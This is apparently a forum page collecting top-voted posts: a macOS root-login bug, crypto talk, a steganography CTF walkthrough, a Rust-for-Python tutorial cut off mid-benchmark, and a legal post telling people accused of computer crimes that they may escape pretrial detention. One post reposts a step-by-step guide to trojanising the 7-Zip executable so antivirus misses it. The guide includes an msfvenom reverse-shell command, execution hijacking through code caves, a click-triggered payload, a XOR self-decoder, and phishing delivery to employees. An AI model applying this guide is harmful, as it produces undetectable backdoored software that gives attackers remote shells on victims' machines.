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  1. 18 points
    Mi-am facut si eu blog. Nu o sa scriu prea des, doar asa, din cand in cand... https://nytrosecurity.com/
  2. 8 points
  3. 8 points
    Try logging with the user "root" without a password on the latest ver of MacOS (try two times) https://mobile.twitter.com/lemiorhan/status/935581020774117381 LE: Already news https://www.laptopmag.com/articles/root-macos-high-sierra
  4. 7 points
    Salut, Ma uitam azi peste modificarile facute de catre "prietenii" de la PSD-ALDE si observ ceva interesant. Este vorba de "Art. 223 Condițiile și cazurile de aplicare a măsurii arestării preventive", alineatul 2. Textul initial: "Măsura arestării preventive a inculpatului poate fi luată şi dacă din probe rezultă suspiciunea rezonabilă că acesta a săvârșit o infracțiune intenționată contra vieții, o infracțiune prin care s-a cauzat vătămarea corporală sau moartea unei persoane, o infracțiune contra securității naționale prevăzută de Codul penal și alte legi speciale, o infracțiune de trafic de droguri, de efectuare de operațiuni ilegale cu precursori sau cu alte produse susceptibile de a avea efecte psihoactive, o infracțiune privind nerespectarea regimului armelor, munițiilor, materialelor nucleare și al materiilor explozive, trafic și exploatarea persoanelor vulnerabile, acte de terorism, spălare a banilor, falsificare de monede, timbre sau de alte valori, șantaj, viol, lipsire de libertate în mod ilegal, evaziune fiscală, ultraj, ultraj judiciar, o infracțiune de corupție, o infracțiune săvârșită prin sisteme informatice sau mijloace de comunicare electronică sau o altă infracțiune pentru care legea prevede pedeapsa închisorii de 5 ani ori mai mare și, pe baza evaluării gravității faptei, a modului și a circumstanțelor de comitere a acesteia, a anturajului și a mediului din care acesta provine, a antecedentelor penale și a altor împrejurări privitoare la persoana acestuia, se constată că privarea sa de libertate este necesară pentru înlăturarea unei stări de pericol pentru ordinea publică." Textul modificat: "Măsura arestării preventive a inculpatului poate fi luată şi dacă din probe rezultă suspiciunea rezonabilă că acesta a săvârșit o infracțiune intenționată contra vieții, o infracțiune prin care s-a cauzat vătămarea corporală sau moartea unei persoane, o infracțiune contra securității naționale prevăzută de Codul penal și alte legi speciale, o infracțiune de trafic de stupefiante, trafic de arme, trafic de persoane, de terorism şi care vizează acte de terorism, falsificare de monede ori alte valori, șantaj, viol, lipsire de libertate, ultraj, ultraj judiciar sau o altă infracțiune comisă cu violență si, cumulativ, pe baza evaluării gravității faptei, a modului și a circumstanțelor de comitere a acesteia, a anturajului și a mediului din care acesta provine, a antecedentelor penale și a altor împrejurări privitoare la persoana acestuia, se constată că privarea sa de libertate este absolut necesară pentru înlăturarea unei stări de pericol concret pentru ordinea publică." Aveti aici un DIFF: Cum ma asteptam, se vede ca lipsesc urmatoarele lucruri: - spalarea banilor - evaziune fiscala - infractiune de coruptie Dar si "infractiune savarsita prin sisteme informatice sau mijloace de comunicare electronica". Cu alte cuvinta, dupa parerea mea de persoana care nu se pricepe in domeniul legal, pentru acele infractiuni nu se va mai aplica arestarea preventiva. Am postat acest lucru pentru ca in cazul in care sunteti acuzati de "infractiuni savarsite prin sisteme informatice", sa aveti in vedere ca (daca va trece legea si probabil va trece), nu veti putea fi retinuti. Gasiti aici o colectie de modificari marca PSD: http://media.hotnews.ro/media_server1/document-2017-12-14-22176865-0-transpunere-directiva-nevinovatie-13-dec.pdf
  5. 7 points
    Nu are rost pentru ca esti robot! Mizeria (teenspaidcash) e scam. Daca bagi o donatie de min 10 eur aici si postezi dovada iti voi explica si in detaliu de ce e scam.
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  7. 6 points
    Walkthrough: @Usr6 1. Descarcam imaginea si verificam daca e integra: # curl -s https://rstforums.com/forum/uploads/monthly_2017_11/the_big_fat_panda.jpg.07e36e8e2681213cd21cbe01d72e9baa.jpg --output The_Big_Fat_Panda.jpg && md5sum The_Big_Fat_Panda.jpg 409302f21ea7dcfe2ed9bbf3c810081c The_Big_Fat_Panda.jpg 2. Deschidem imaginea cu editor hex(am folosit Bless pe Ubuntu) si verificam daca dupa imagine mai este ceva. Ne uitam daca dupa biti FF D9 mai apare ceva. In cazul nostru observam: PK.. NobodyUnderstandMe.jpg PK - inseamna ca avem o arhiva, zip 3. Extragem arhiva din imagine: # unzip The_Big_Fat_Panda.jpg Obtinem o alta imagine: "NobodyUnderstandMe.jpg" . Incercam sa facem acelasi lucru ca la cealalta imagine, dar ne cere o parola si ne da un puzzle: Cateodata DA inseamna DA si NU inseamna NU, cateodata DA inseamna NU si NU inseamna Da, cateodata DA inseamna POATE si POATE inseamna NU, cateodata NU inseamna POATE si POATE... AI INTELESSSSS? DANUDADANUNUDANUDANUNUDADADADANUDANUNUDADADANUNUDANUNUDADADADANUDANUNUNUDADANUDADANUDADADADADANUDANUNUDANUDADANUDANUDADANUDADANUDANUNUDANUNUNUDADANUNUDADADANUNUDANUNUDADANUDANUDANUNUNUDADANUDADANUNUDADADANUNUDANUNUDADADADANUDANUNUNUDANUDADA Initial m-am oprit aici si am cerut hint, mi-a fost oferita imaginea: https://rstforums.com/forum/applications/core/interface/imageproxy/imageproxy.php?img=https://upload.wikimedia.org/wikipedia/commons/thumb/7/75/Macbook_Pro_Power_Button_-_Macro_(5477920228).jpg/220px-Macbook_Pro_Power_Button_-_Macro_(5477920228).jpg&key=65b8c92411b156ea5a00ea79269010df0e1ad7e390288503459d91a50af16a4d # Din care extrage linkul: https://upload.wikimedia.org/wikipedia/commons/thumb/7/75/Macbook_Pro_Power_Button_-_Macro_(5477920228).jpg/220px-Macbook_Pro_Power_Button_-_Macro_(5477920228).jpg 4. Cautam pe google dupa imagine si ajungem pe pagina wiki: https://en.wikipedia.org/wiki/Power_symbol # Observam citatul: The symbol for the standby button was created by superimposing the symbols "|" and "o"; however, it is commonly misinterpreted as the numerals "0" and "1" 5. Luam sirul cu DAsi NU unde inlocuim "DA" cu 0 si "NU" cu 1, obtinem: 010011010110000101100011011000010111001001000001011010010100100101101110011000110110010101110010011000110110000101110100 # Il convertim din binar in ASCII si obtinem: MacarAiIncercat 6. Vedem ca asta este parola("MacarAiIncercat" te poate duce in eroare, eu initial am crezut ca nu asa trebuia sa procedez) dupa care obtinem un fisier text: DA, chiar e ceea ce pare, doar ca standard=dradnats vpGWkp6TipPfkYrfno2a35GaiZCWmt+bmt+Q34+Nmpiei5aNmt+Mj5qclp6Tnt+PmpGLjYrfnt+Zlt+ekZaSnpPT35CSipPflpGMnt+PmpGLjYrfnt+bmomakZbfkJLfno2a35GaiZCWmt+bmt+am4qcnouWmtPfmpuKnJ6Llp7fmZ6cmt+blpmajZqRi57fm5aRi42a35CekpqRlt+Mlt+ekZaSnpOa0d+yno2ciozfq4qTk5aKjN+8lpyajZD= 7. Observam ca e un base64, observam si hintul: "standard=dradnats". Cautam pe google implementarea algoritmului base64: https://en.wikibooks.org/wiki/Algorithm_Implementation/Miscellaneous/Base64#Javascript_2 Facem un reverse la lista base64chars si rulam functia pe stringul nostru: https://jsfiddle.net/9vdbamd9/1/ base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; # devine base64chars = '/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA' Stringul decodat: Animalul nu are nevoie de o pregatire speciala pentru a fi animal, omul insa pentru a deveni om are nevoie de educatie, educatia face diferenta dintre oameni si animale. Marcus Tullius Cicero
  8. 5 points
    Si daca nu va avea lumea motive sa-ti multumeasca, vei oferi vreo muiere din viata ta altora pentru satisfactie alternativa? Pentru ca afirmatii de genul ori se fac de cineva credibil (cu track record in investitii de succes in crypto), insider trading ori insotite de ceva argumente logice. Altfel sunt irelevante, chiar daca wabi are un background si potential interesant.
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  10. 5 points
    md5(crack_me.jpg) = C720E708AB375E531BB77DCA9DD08D38
  11. 5 points
    Am folosit Windows 6 ani, Linux un an si macOS 3 ani, cu aproximatie, pentru ca o perioada le-am folosit in dual boot pentru scopuri diferite. Prefer macOS din toate punctele de vedere, cu exceptia jocurilor. Eu le judec dupa cat de bine arata si ruleaza pe acelasi sistem, aceleasi resurse, pentru ca a existat o perioada in care le-am incercat pe toate pe acelasi config, si macOS s-a comportat cel mai bine, in combinatia de aspect, resurse consumate, features si viteza. Celelalte doua au prea multe dezavatanje pentru mine: Linux: - Majoritatea software-ului profesional lipseste, iar virtualizarea e o solutie, dar e penibila - dezavantajul asta e cel mai important, pur si simplu nu poti folosi alternativele free pe care le oferta; - Interfata pare sa stea sa cada in orice moment, nimic nu da senzatia de rigiditate pe Linux, te lovesti de tot felu de glitch-uri la fiecare pas. Am folosit LXDE, XFCE, KDE, GNOME, Unity. Unity ; - Cand rezolvi o problema, te folosesti aproape mereu de terminal, e clar ca totul e dedicat administratorilor, nici nu pot sa inteleg cum a ajuns Linux asa popular prin home users. Windows: - Fiecare update e mai penibil ca anteriorul. Interfata aia e vesnic cu cativa ani -- Microsoft e vesnic praf la capitolul design; - Resursele consumate sunt mai mari decat pe macOS -- din nou, pe acelasi config; - Dupa zeci de ani in productie, inca nu reuseste sa se fereasca mai eficient de virusi, trebuie sa te bazezi pe solutii externe ca sa te protejezi; - Are nevoie de restart la foarte multe operatii. Ma omoara treaba asta; - Sistemul de update-uri este execrabil. Iti intrerupe munca ca sa-si dea el restart si dureaza mult prea mult. Nu cred ca este in cautarea unei concluzii, a si precizat ca se asteapta la raspunsuri subiective. Poate doar e interesat de experienta noastra cu OS-urile. Diferenta dintre distributii e de DE (Desktop Environment) si de package manager (apt in Debian si derivatele, pacman in Arch, yum in RedHat si derivatele etc), sau lipsa lui, restul nu sunt sesizabile pentru un home user. Ca sa alegi una, conteaza foarte mult cat de mult efort esti dispus sa depui ca s-o instalezi. De exemplu, daca ai chef sa-ti instalezi singur DE-ul, o distributie ca Arch mi se pare o alegere buna, pentru ca are package manager bun si nu consuma foarte multe resurse inutile out of the box. Daca nu ai chef sa-ti instalezi singur DE-ul, poti folosi distributiile derivate din Ubuntu: Lubuntu, Xubuntu, Kubuntu, Ubuntu Gnome, dar daca nu ai multe resurse la dispozitie, o sa observi o diferenta in viteza.
  12. 5 points
    Table of Contents [hide] 1 Introduction 2 Self Imposed Restrictions 3 Methods used: 4 Criteria for PE file selection for implanting backdoor 4.1 ASLR: 4.2 Static Analysis 5 Backdooring PE file 6 Adding a new Section header method 6.1 Hijack Execution Flow 6.2 Adding Shellcode 6.3 Modifying shellcode 6.4 Spawning shell 6.5 Pros of adding a new section header method 6.6 Cons of adding a new section header method 7 Triggering shellcode upon user interaction + Codecaves 7.1 Code Caves 7.2 Triggering Shellcode Upon user interaction 7.3 Spawning Shell 8 Custom Encoding Shellcode 8.1 Spawning shell 9 Conclusion Introduction During Penetration testing engagement you are required to backdoor a specific executable with your own shellcode without increasing the size of the executable or altering its intended functionality and hopefully making it fully undetectable (FUD) how would you do it?. For example, after recon, you gather information that a lot number of employees use a certain “program/software”. The social engineering way to get in the victim’s network would be a phishing email to employees with a link to download “Updated version of that program”, which actually is the backdoored binary of the updated program. This post will cover how to backdoor a legitimate x86 PE (Portable Executable) file by adding our own reverse TCP shellcode without increasing the size or altering the functionality. Different techniques are also discussed on how to make the backdoor PE fully undetectable (FUD). The focus in each step of the process is to make the backdoored file Fully undetectable. The word “undetectable” here is used in the context of scan time static analysis. Introductory understanding of PE file format, x86 assembly and debugging required. Each section is building upon the previous section and no topic is repeated for the sake of conciseness, one should reference back and forth for clarity. Self Imposed Restrictions Our goal is to backdoor a program in a way that it becomes fully undetectable by anti viruses, and the functionality of the backdoored program should remain the same with no interruptions/errors. For anti-virus scanning purposes we will be using NoDistribute.There are a lot of way to make a binary undetectable, using crypters that encode the entire program and include a decoding stub in it to decode at runtime, compressing the program using UPX, using veil-framework or msfvenom encodings. We will not be using any of such tools. The purpose is to keep it simple and elegant! For this reason I have the following self imposed restrictions:- No use to Msfvenom encoding schemes, crypters, veil-framework or any such fancy tools. Size of the file should remain same, which means no extra sections, decoder stubs, or compressing (UPX). Functionality of the backdoored program must remain the same with no error/interruptions. Methods used: Adding a new section header to add shellcode User interaction based shellcode Trigger + codecaves. Dual code caves with custom encoder + triggering shellcode upon user interaction Criteria for PE file selection for implanting backdoor Unless you are forced to use a specific binary to implant a backdoor the following points must be kept in mind. They are not required to be followed but preferred because they will help reducing the AV detection rate and making the end product more feasible. The file size of executable should be small < 10mb, Smaller size file will be easy to transfer to the victim during a penetration testing engagement. You could email them in ZIP or use other social engineering techniques. It will also be convenient to debug in case of issues. Backdoor a well known product, for example Utorrent, network utilities like Putty, sysinternal tools, winRAR , 7zip etc. Using a known PE file is not required, but there are more chances of AV to flag an unknown PE backdoor-ed than a known PE backdoor-ed and the victim would be more inclined to execute a known program. PE files that are not protected by security features such as ASLR or DEP. It would be complicated to backdoor those and won’t make a difference in the end product compared to normal PE files. It is preferable to use C/C++ Native binaries. It is preferable to have a PE file that has a legitimate functionality of communicating over the network. This would fool few anti viruses upon execution when backdoor shellcode will make a reverse connection to our desired box. Some anti viruses would not flag and will consider it as the functionality of the program. Chances are network monitoring solutions and people would consider malicious communication as legitimate functionality. The Program we will be backdooring is 7Zip file archiver (GUI version). Firstly lets check if the file has ASLR enabled. ASLR: Randomizes the addresses each time program is loaded in memory, this way attacker cannot used harcoded addresses to exploit flaws/shellcode placement. Powershell script result shows no ASLR or DEP security mechanism As we can see in the above screenshot, not much in terms of binary protection. Lets take a look at some other information about the 7zip binary. Static Analysis Static Analysis of 7zip binary The PE file is 32 bit binary, has a size of about 5mb. It is a programmed in native code (C++). Seems like a good candidate for our backdoor. Lets dig in! Backdooring PE file There are two ways to backdoor Portable executable (PE) files. Before demonstrating both of them separately it is important to have a sense of what do we mean by backdooring a PE file?. In simple terms we want a legitimate windows executable file like 7zip achiever (used for demonstration) to have our shellcode in it, so when the 7zip file is executed our shellcode should get executed as well without the user knowing and without the anti viruses detecting any malicious behavior. The program (7zip) should work accurately as well. The shellcode we will be using is a stageless MSFvenom reverse TCP shell. Follow this link to know the difference between staged and stageless payloads Both of the methods described below has the same overall process and goal but different approaches to achieve it. The overall process is as follow:- Find an appropriate place in memory for implanting our shell code, either in codecaves or by creating new section headers, both methods demonstrated below. Copy the opcodes from stack at the beginning of program execution. Replace those instructions with our own opcodes to hijack the execution flow of the application to our desired location in memory. Add the shellcode to that memory location which in this case is stageless TCP reverse shell. Set the registers back to the stack copied in first step to allow normal execution flow. Adding a new Section header method The idea behind this method is to create a new header section in PE file, add our shellcode in newly created section and later point the execution flow it that section. The new section header can be created using a tool such as LordPE. Open Lord PE Go to section header and add the section header (added .hello) at the bottom. Add the Virtual size and Raw size 1000 bytes. Note that 1000 is in hexadecimal (4096 bytes decimal). Make the section header executable as we have to place our Shellcode in this section so it has to be executable, writable and readable. Save the file as original. Adding a new header section Now if we execute the file, it wont work because we have added a new section of 1000h bytes, but that header section is empty. Binary not executing because of empty header section To make to file work normally as intended, we have to add 1000h bytes at the end of the file because right now the file contains a header section of 1000 bytes but that section is empty, we have to fill it up by any value, we are filling it up by nulls (00). Use any hex editor to add 1000 hexademical bytes at the end of the file as shown below. Adding 1000h bytes at the end of the file We have added null values at the end of the file and renamed it 7zFMAddedSection.exe. Before proceeding further we have to make sure now our executable 7zFMAddedSection.exe, is working properly and our new section with proper size and permissions is added, we can do that in Ollydbg by going to memory section and double clicking PE headers. PE Headers in Ollydbg Hijack Execution Flow We can see that our new section .hello is added with designated permissions. Next step is to hijack the execution flow of the program to our newly added .hello section. When we execute the program it should point to .hello section of the code where we would place our shellcode. Firstly note down the first 5 opcodes, as will need them later when restoring the execution flow back. We copy the starting address of .hello section 0047E000 open the program in Ollydbg and replace the first opcode at address 004538D8 with JMP to 0047E000. Replacing the starting address with JMP to new section Right click -> Copy to executable -> all modifications -> Save file. We saved the file as 7zFMAddedSectionHijacked.exe (File names getting longer and we are just getting started!) Up-till now we have added a new header section and hijacked the execution flow to it. We open the file 7zFMAddedSectionHijacked.exe in Ollydbg. We are expecting execution flow to redirect to our newly added .hello section which would contain null values (remember we added nulls using hexedit?). Starting of .hello section Sweet! We have a long empty section .hello section. Next step is to add our shellcode from the start of this section so it gets triggered when the binary is executed. Adding Shellcode As mentioned earlier we will be using Metasploit’s stagless windows/shell_reverse_tcp shellcode. We are not using any encoding schemes provided by msfvenom, most of them if not all of them are already flagged by anti viruses. To add the shellcode firstly we need push registers on to the stack to save their state using PUSHAD and PUSHFD opcodes. At the end of shellcode we pop back the registers and restore the execution flow by pasting initial (Pre hijacked) program instructions copied earlier and jumping back to make sure the functionality of 7zip is not disturbed. Here is the sequence of instructions PUSHAD PUSHFD Shellcode.... POPAD POPFD Restore Execution Flow... We generate windows stageless reverse shellcode using the following arguments in mfsvenom msfvenom -p windows/shell_reverse_tcp LHOST=192.168.116.128 LPORT=8080 -a x86 --platform windows -f hex Copy the shellcode and paste the hex in Ollydbg as right click > binary > binary paste , it will get dissembled to assembly code. Added shellcode at the start of .hello section Modifying shellcode Now that we have our reverse TCP shellcode in .hello section its time to save the changes to file, before that we need to perform some modifications to our shellcode. At the end of the shellcode we see an opcode CALL EBP which terminates the execution of the program after shellcode is executed, and we don’t want the program execution to terminate, infact we want the program to function normally after the shellcode execution, for this reason we have to modify the opcode CALL EBP to NOP (no operation). Another modification that needs to be made is due to the presence of a WaitForSingleObject in our shellcode. WaitForSignleObject function takes an argument in milliseconds and wait till that time before starting other threads. If the WaitForSignleObject function argument is -1 this means that it will wait infinite amount of time before starting other threads. Which simply means that if we execute the binary it will spawn a reverse shell but normal functionality of 7zip would halt till we close our reverse shell. This post helps in finding and fixing WaitForSignleObject. We simply need to modify opcode DEC INC whose value is -1 (Arugment for WaitForSignleObject) to NOP. Next we need to POP register values off the stack (to restore the stack value pre-shellcode) using POPFD and POPAD at the end of shellcode. After POPFD and POPAD we need to add the 5 hijacked instructions(copied earlier in hijack execution flow) back, to make sure after shellcode execution our 7zip program functions normally. We save the modifications as 7zFMAddedSectionHijackedShelled.exe Spawning shell We setup a listener on Kali Box and execute the binary 7zFMAddedSectionHijackedShelled.exe. We get a shell. 7zip binary works fine as well with no interruption in functionality. We got a shell! How are we doing detection wise? Detection Rate Not so good!. Though it was expected since we added a new writeable, executable section in binary and used a known metasploit shellcode without any encoding. Pros of adding a new section header method You can create large section header. Large space means you don’t need to worry about space for shellcode, even you can encode your shellcode a number of times without having to worry about its size. This could help bypassing Anti viruses. Cons of adding a new section header method Adding a new section header and assigning it execution flag could alert Anti viruses. Not a good approach in terms of AV detection rate. It will also increase the size of original file, again we wouldn’t want to alert the AV or the victim about change of file size. High detection rate. Keeping in mind the cons of new section header method. Next we will look at two more methods that would help help us achieve usability and low detection rate of backdoor. Triggering shellcode upon user interaction + Codecaves What we have achieved so far is to create a new header section, place our shellcode in it and hijack the execution flow to our shellcode and then back to normal functionality of the application. In this section we will be chaining together two methods to achieve low detection rate and to mitigate the shortcomings of new adder section method discussed above. Following are the techniques discussed:- How to trigger our shellcode based on user interaction with a specific functionality. How to find and use code caves. Code Caves Code caves are dead/empty blocks in a memory of a program which can be used to inject our own code. Instead of creating a new section, we could use existing code caves to implant our shellcode. We can find code caves of different sizes in almost of any PE. The size of the code cave does matter!. We would want a code cave to be larger than our shellcode so we could inject the shellcode without having to split it in smaller chunks. The first step is to find a code cave, Cave Miner is an optimal python script to find code caves, you need to provide the size of the cave as a parameter and it will show you all the code caves larger than that size. finding code caves for injection We got two code caves larger than 700 bytes, both of them contain enough space for our shellcode. Note down the virtual address for both caves. Virtual address is the starting address of the cave. Later We will hijack the execution flow by jumping to the virtual addresses. We will be using both caves later, for now, we only require one cave to implant in our shellcode. We can see that the code cave is only readable, we have to make it writable and executable for it to execute our shellcode. We do that with LORDPE. Making .rsrc writeable and executable Triggering Shellcode Upon user interaction Now that we have a code cave we can jump to, we need to find a way to redirect execution flow to our shellcode upon user interaction. Unlike in the previous method, we don’t want to hijack the execution flow right after the program is run. We want to let the program run normally and execute shellcode upon user interaction with a specific functionality, for example clicking a specific tab. To accomplish this we need to find reference strings in the application. We can then hijack the address of a specific reference string by modifying it to jump to code cave. This means that whenever a specific string is accessed in memory the execution flow will get redirected to our code cave. Sounds good? Let see how do we achieve this. Open the 7zip program in Ollydbg > right click > search for > all reference text strings Found a suitable reference string In reference strings we found an interesting string, a domain (http://www.7-zip.org). The memory address of this domain gets accessed when a user clicks on about > domain. Website button functionality Note that we can have multiple user interaction triggers that can be backdoored in a single program using the referenced strings found. For the sake of an example we are using the domain button on about page which upon click opens the website www.7-zip.org in browser. Our objective is to trigger shellcode whenever a user clicks on the domain button. Now we have to add a breakpoint at the address of domain string so that we can then modify its opcode to jump to our code cave when a user clicks on the website button.We copy the address of domain string 0044A8E5 and add a breakpoint. We then click on the domain button in the 7zip program. The execution stops at the breakpoint as seen in the below screenshot:- Execution stops at break point address 0044A8E5 (http;//www.7zip.org/) now we can modify this address to jump to code cave, so when a user clicks on the website button execution flow would jump to our code cave, where in next step we will place our shellcode. Firstly we copy couple of instructions after 0044A8E5 address as they will be used again when we want to point execution flow back to it after shellcode execution to make sure normal functionality of 7zip. inject backdoor into exe After modification to jmp 00477857 we save the executable as 7zFMUhijacked.exe . Note that the address 00477857 is the starting address of codecave 1. We load the 7zFMUhijacked.exe in Ollydbg and let it execute normally, we then click on the website button. We are redirected to an empty code cave. Nice! we have redirected execution flow to code cave upon user interaction. To keep this post concise We will be skipping the next steps of adding and modifying the shellcode as these steps are the same explained above “6.2 Adding shellcode” and “6.3 Modifying shellcode“. Spawning Shell We add the shellcode, modify it, restore the execution flow back to from where we hijacked it 0044A8E5 and save the file as 7zFMUhijackedShelled.exe. The shellcode used is stageless windows reverse TCP. We set a netcat listener, run 7zFMUhijackedShelled.exe , click on the website button. Fully Undetectable backdoor PE Files Everything worked as we expected and we got a shell back! . Lets see how are we doing detection wise? Triggering shellcode upon user interaction + Codecaves detection. Thats good! we are down from 16/36 to 3/38. Thanks to code caves and triggering shellcode upon user interaction with a specific functionality. This shows a weakness in detection mechanism of most anti viruses as they are not able to detect a known msfvenom shellcode without any encoding just because it is in a code cave and triggered upon user interaction with specific functionality. The detection rate 3/38 is good but not good enough (Fully undetectable). Considering the self imposed restrictions, the only viable route from here seem to do custom encoding of shellcode and decode it in memory upon execution. Custom Encoding Shellcode Building upon what we previously achieved, executing shellcode from code cave upon user interaction with a specific program functionality, we now want to encode the shellcode using XOR encoder. Why do we want to use XOR, a couple of reasons, firstly it is fairly easy to implement, secondly we don’t have to write a decoder for it because if you XOR a value 2 times, it gives you the original value. We will encode the shellcode with XOR once and save it on disk. Then we will XOR the encoded value again in memory at runtime to get back the original shellcode. Antiviruses wouldn’t be able to catch it because it is being done in memory! We require 2 code caves for this purpose. One for shellcode and one for encoder/decoder. In finding code caves section above we found 2 code caves larger than 700 bytes both of them have fair enough space for shellcode and encoder/decoder. Below is the flow chart diagram of execution flow. Custom encoding shellcode in code caves + Triggering shellode upon user interaction So we want to hijack the program execution upon user interaction of clicking on the domain button to CC2 starting address 0047972e which would contain the encoder/decoder XOR stub opcodes, it will encode/decode the shellcode that resides in CC1 starting address 00477857, after CC2 execution is complete we will jump to CC1 to start execution which would spawn back a shell, after CC2 execution we will jump back from CC2 to where we initially hijacked the execution flow with clicking the domain button to make sure the functionality of the 7zip program remains the same and the victim shouldn’t notice any interruptions. Sounds like a long ride, Lets GO! Note that the steps performed in the last section wouldn’t be repeated so reference back to hijacking execution upon user interaction, adding shellcode in codecaves, modifying shellcode and restoring the execution flow back to where we hijacked it. Firstly we Hijack the execution flow from address 0044A8E5 (clicking domain button) to CC2 starting address 0047972e and save the modifications as file on disk. We run the modified 7zip file in Ollydbg and trigger the hijacking process by clicking on the domain button. Hijacking execution flow to CC2 Now that we are in CC2, before writing our XOR encoder here, we will firstly jump to starting address of CC1 and implant our shellcode so that we get the accurate addresses that we have to use in XOR encoder. Note that the first step of hijacking to CC2 can also be performed at the end as well, as it won’t impact the overall execution flow illustrated in flowchart above. We jump to CC1 , implant, modify shellcode and restore the execution flow to 0044A8E5 from where we hijacked to CC2 to make sure smooth execution of 7zip program functionality after shellcode. Note that implanting, modifying shellcode and restoring execution flow is already explained in previous sections. Bottom of shellocode at CC1 Above screenshot shows the bottom of shellocode at CC1, note down the address 0047799B, this is where the shellcode ends, next instructions are for restoring the execution flow back. So we have to encode from starting of the shellcode at address 00477859 till 0047799B. We move to 00477857 the starting address of CC2, we write XOR encoder, following are the opcodes for XOR encoder implementation. PUSH ECX, 00477857 // Push the starting address of shellcode to ECX. XOR BYTE PTR DS:[EAX],0B // Exclusive OR the contents of ECX with key 0B INC ECX // Increase ECX to move to next addresses CMP ECX,0047799B // Compare ECX with the ending address of shellcode JLE SHORT 00479733 // If they are not equal, take a short jump back to address of XOR operation JMP 7zFM2.00477857 // if they are equal jump to the start of shellcode As we are encoding the opcodes in CC1, we have to make sure the header section in which the CC1 resides is writeable otherwise Ollydbg will show access violation error. Refer back to codecaves section to know how to make it writable and executable. We add a breakpoint at JMP 7zFM2.00477857 after the encoding is performed and we are about to jump back to encoded shellcode. If we go back to CC1 we will see that out shellcode is encoded now. Custom encode shellcode in memory All is left to save the modifications of both the shellcode at CC1 and the encoder at CC2 to a file we named it as 7zFMowned.exe. Lets see if its working as intended. Spawning shell We setup a listener on port 8080 on our Kali box, run 7zFMbackdoored.exe in windows and click on domain button . 7zip website pops up in the browser and if we go back to our kali box. We got a shell How are we doing detection wise? Fully undetectable PE file using Dual code caves, custom encoder and trigger upon user interaction Conclusion Great! we have achieved fully undetectable backdoor PE file that remains functional with the same size. Sursa: https://haiderm.com/fully-undetectable-backdooring-pe-files/
  13. 5 points
    Am discutat chestia asta la facultate(sunt in domeniu) si pot aparea multe complicatii. Chirurgul cu care am discutat a zis ca este posibil, insa rata de succes este mica. Fiecare om are anumite "mutatii" ca sa le zic asa la nivel de ADN. Se presupune ca administrand imunosupresoare pentru a nu respinge transplantul, este posibil sa traiasca pana la 10-15 ani, dar asta este valabil in transplantul hepatic, de cord, etc. Aici vorbim de nervi, neuroni, celule gliale, care au o structura mult mai fragila fata de cele de mai sus. Pot aparea foarte usor boli de structura a sistemului nervos. Este posibil, dar putin probabil sa fie un succes, mai ales pe termen lung.
  14. 4 points
    Parteneriatele Ripple si banci nu prea functioneaza cum crede lumea din cate m-am documentat. Ripple ca si companie ofera tehnologia din spatele blockchain-ului lor bancilor pentru a face settlement mai rapid si mai in siguranta. Asta nu seamna ca bancile se apuca si cumpara tokenul public XRP si il folosesc. Dupa parerea mea cresterea asta XRP e doar hype cum a mai fost si in trecut, pump and dump. Poate gresesc pentru ca nu am facut mult research pe asta dar as zice sa aveti grija cu XRP.
  15. 4 points
    What is InfoCon? InfoCon is a community supported, non-commercial archive of all the past hacking related convention material that can be found. https://infocon.org/
  16. 4 points
    Gluma revizuita: A boy asked his bitcoin-investing dad for $20. Dad: $15.56? What do you need $24.21 for?
  17. 4 points
    Investiti in oua. Multumiti-mi mai tarziu.
  18. 4 points
    oho... nu exista ceva sa pot scripta sau sa programez, am incercat... nu exista nici un patern... Pur si simplu caut pe net ce ICO-uri apar, ce software creaza, sau ce idei au... investesc in ele si astept. Iar la ICO-uri, nu e asa simplu.. trebuie sa te uiti dupa multe chestii pe care nu le pot spune aici. Dar ideea e ca functioneaza, pierzi castigi.... mai mult castigi la sfarsit de zi/saptamana/luna. Trebuie doar sa nu te panichezi si sa HODL moneda respectiva pana ajunge la un anumit prag... Uite: https://we.tl/s-idH2dUOpfV vezi astea ca sa-ti faci o idee despre trend...
  19. 4 points
    Windows, ofc. Nu am bani de mac ca sunt sarak, nu sunt masochist sa bag linux.
  20. 4 points
    What is Rust? Rust is a systems programming language that runs blazingly fast, prevents segfaults, and guarantees thread safety. Featuring zero-cost abstractions move semantics guaranteed memory safety threads without data races trait-based generics pattern matching type inference minimal runtime efficient C bindings Description is taken from rust-lang.org. Why does it matter for a Python developer? The better description of Rust I heard from Elias (a member of the Rust Brazil Telegram Group). There is a bunch of Rust packages out there to help you extending Python with Rust. I can mention Milksnake created by Armin Ronacher (the creator of Flask) and also PyO3 The Rust bindings for Python interpreter. See a complete reference list at the bottom of this article. Let’s see it in action For this post, I am going to use Rust Cpython, it’s the only one I have tested, it is compatible with stable version of Rust and found it straightforward to use. Pros: It is easy to write Rust functions and import from Python and as you will see by the benchmarks it worth in terms of performance. Cons: The distribution of your project/lib/framework will demand the Rust module to be compiled on the target system because of variation of environment and architecture, there will be a compiling stage which you don’t have when installing Pure Python libraries, you can make it easier using rust-setuptools or using the MilkSnake to embed binary data in Python Wheels. Python is sometimes slow Yes, Python is known for being “slow” in some cases and the good news is that this doesn’t really matter depending on your project goals and priorities. For most projects, this detail will not be very important. However, you may face the rare case where a single function or module is taking too much time and is detected as the bottleneck of your project performance, often happens with string parsing and image processing. Example Let’s say you have a Python function which does a string processing, take the following easy example of counting pairs of repeated chars, but have in mind that this example can be reproduced with other string processing functions or any other generally slow process in Python. # How many subsequent-repeated group of chars are in the given string? abCCdeFFghiJJklmnopqRRstuVVxyZZ... {millions of chars here} 1 2 3 4 5 6 Python is slow for doing large string processing, so you can use pytest-benchmark to compare a Pure Python (with Iterator Zipping) function versus a Regexp implementation. # Using a Python3.6 environment $ pip3 install pytest pytest-benchmark Then write a new Python program called doubles.py import re import string import random # Python ZIP version def count_doubles(val): total = 0 # there is an improved version later on this post for c1, c2 in zip(val, val[1:]): if c1 == c2: total += 1 return total # Python REGEXP version double_re = re.compile(r'(?=(.)\1)') def count_doubles_regex(val): return len(double_re.findall(val)) # Benchmark it # generate 1M of random letters to test it val = ''.join(random.choice(string.ascii_letters) for i in range(1000000)) def test_pure_python(benchmark): benchmark(count_doubles, val) def test_regex(benchmark): benchmark(count_doubles_regex, val) Run pytest to compare: $ pytest doubles.py ============================================================================= platform linux -- Python 3.6.0, pytest-3.2.3, py-1.4.34, pluggy-0.4. benchmark: 3.1.1 (defaults: timer=time.perf_counter disable_gc=False min_roun 